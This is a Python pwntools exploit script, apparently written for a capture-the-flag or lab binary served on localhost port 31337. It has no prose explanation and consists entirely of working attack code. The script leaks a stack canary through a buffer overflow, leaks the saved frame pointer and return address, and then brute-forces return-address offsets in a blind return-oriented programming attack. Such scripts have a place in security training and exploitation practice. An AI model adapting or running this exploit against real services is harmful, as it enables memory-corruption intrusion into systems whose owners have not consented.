from pwn import *

p = connect("127.0.0.1", 31337)

p.send(b'h')
time.sleep(0.2)
first_recv = p.recv(numb=10000, timeout=1)
print(first_recv)

payload = b"A" * 4

# Leak the canary
p.send(payload + b'\x01')
time.sleep(0.2)
leak = p.recv().strip(payload)
print("leak   = " + leak.hex(' '))

# Extract canary from the leak
stack_canary = b'\x00' + leak[1:8]
print("canary = " + stack_canary.hex(' '))

# overwrite it with the same value to check that it is correct
p.send(payload + stack_canary)
time.sleep(0.2)
received = p.recv()

if received != payload:
    print("[!] Failed to leak stack canary")
    exit(1)

print(f"[+] Stack canary is 0x{stack_canary.hex()}")

# Guess the program base address

# First address

p.send(payload + b"A" * 8)
time.sleep(0.2)
leak = p.recv().strip(b"A").strip(b"You broke the internet!\n")
print(len(leak))
rbp = leak + b"\x00" * (8 - len(leak))
print(hex(int.from_bytes(rbp, "little", signed=False)))

# Second address

p.send(payload + b"A" * 16)
time.sleep(0.2)
leak = p.recv().strip(b"A").strip(b"You broke the internet!\n")
print(len(leak))
if len(leak) == 5:
    retAddress = b"\x00" + leak + b"\x00" * (7 - len(leak))
else:
    retAddress = leak + b"\x00" * (8 - len(leak))
print(hex(int.from_bytes(retAddress, "little", signed=False)))

# iterator = iter(range(0x1000))
for offset in range(70, 150):
    testedAddr = (int.from_bytes(retAddress, "little") - offset).to_bytes(8, "little")
    print(f"----- testing address {hex(int.from_bytes(testedAddr, 'little', signed=False))} ------")
    p.send(payload + stack_canary + rbp + testedAddr)  # + b"A" * 128)
    time.sleep(0.2)
    received = p.recv(timeout=0.5)
    print(received)
    if received.find(b"brop") != -1:
        print("#######################")
#
# 7ffe388f02c0
# 55f8236e12aa